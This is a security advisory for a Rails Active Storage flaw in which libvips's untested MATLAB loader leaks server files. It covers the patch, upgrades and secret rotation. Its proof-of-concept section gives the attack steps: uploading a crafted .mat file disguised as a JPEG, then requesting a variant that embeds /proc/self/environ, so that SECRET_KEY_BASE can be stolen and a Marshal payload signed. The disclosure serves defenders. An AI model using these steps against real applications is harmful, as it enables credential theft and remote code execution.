CVE-2026-66066: Active Storage Arbitrary File Read via libvips Unfuzzed Loaders
A default Rails app that accepts image uploads and uses libvips for variant processing lets an unauthenticated attacker read any file the app process can access, including secrets that can escalate…

The problem
Active Storage (Rails 7.0+ default) passes uploaded files directly to libvips for variant generation without disabling libvips operations flagged as 'unfuzzed', meaning they were never hardened against hostile input.
An attacker uploads a crafted file that targets one of these unfuzzed loaders. When Active Storage triggers variant processing, libvips reads the file through the dangerous loader and can be made to embed the contents of arbitrary server-side files into the output image.
The process environment, which typically contains SECRET_KEY_BASE and cloud credentials, is readable this way. Leaking SECRET_KEY_BASE enables an attacker to forge signed cookies and Active Storage URLs, which can chain into remote code execution via Marshal deserialization.
Proof of concept
A working proof-of-concept for CVE-2026-66066 in activestorage, with the exact payload below.
# Step 1: craft a MATLAB 5.0 / HDF5 file that libvips routes through matload
# matload is an unfuzzed libvips operation present on stock Debian libvips builds
# The crafted .mat header causes libvips to read an external dataset whose
# path points to /proc/self/environ (or any readable file).
#
# Upload the file as an ordinary image attachment:
curl -s -F "upload[file]=@crafted.mat;type=image/jpeg" \
http://TARGET/uploads
# Step 2: request a variant (thumbnail) of the uploaded blob.
# Active Storage hands the stored file to Vips::Image.new_from_file,
# which sniffs the MATLAB 5.0 magic bytes and dispatches matload.
# The returned PNG output contains the embedded external dataset bytes.
GET /rails/active_storage/representations/redirect/<signed_id>/<filename>?variant[resize_to_limit][]=100&variant[resize_to_limit][]=100
# The response body is a PNG whose pixel data encodes the contents of the
# file referenced in the .mat payload (e.g., /proc/self/environ).
# SECRET_KEY_BASE is then read from that output to sign a Marshal payload.libvips routes input files through a loader chosen by sniffing magic bytes, not by the declared content-type. The MATLAB 5.0 (.mat) format is handled by matload, which libvips marks 'unfuzzed' because it was never fuzz-tested for hostile input and supports external dataset references that resolve to arbitrary filesystem paths.
Active Storage called Vips::Image.new_from_file without any restriction on which loaders could be invoked, so a file with a valid MATLAB 5.0 header header bypassed all content-type checks and reached matload.
The patch (commit 1c01bb5 / 349e7a5 / d79b7f4) adds a single call, Vips.block_untrusted(true), during Active Storage boot. This tells libvips to refuse any load or save operation tagged VIPS_OPERATION_UNTRUSTED, which covers matload and other dangerous handlers.
A minimum of libvips 8.13 and ruby-vips 2.2.1 is required because earlier versions lack the blocking API entirely. The CWE is CWE-1188: the resource (libvips) was initialized with an insecure default that left unsafe operations enabled.
The fix
Upgrade activestorage to 7.2.3.2, 8.0.5.1, or 8.1.3.1. Also upgrade libvips to >= 8.13 and ruby-vips to >= 2.2.1 on the host, because the patch's blocking call requires those minimum versions and Active Storage will refuse to boot without them. If an immediate Rails upgrade is not possible and libvips >= 8.13 is installed, set the VIPS_BLOCK_UNTRUSTED environment variable or call Vips.block_untrusted(true) from an initializer (requires ruby-vips >= 2.2.1).
After patching, rotate every secret the application process can read: SECRET_KEY_BASE, RAILS_MASTER_KEY, config/credentials.yml.enc contents, database credentials, S3/GCS/Azure keys, and all third-party API tokens.
Related research
- high · 7.5CVE-2026-67432CVE-2026-67432: mcp (Ruby SDK) Unbounded Request Body Memory Exhaustion
- high · 8.6CVE-2026-54603CVE-2026-54603: oauth2 Protocol-Relative Redirect Bearer Token Leak
- high · 7.2CVE-2026-54605CVE-2026-54605: oauth gem Cross-Origin Token Redirect SSRF and Signed-Request Disclosure
- highCVE-2026-61666CVE-2026-61666: websocket-driver Denial of Service via Malformed Host Header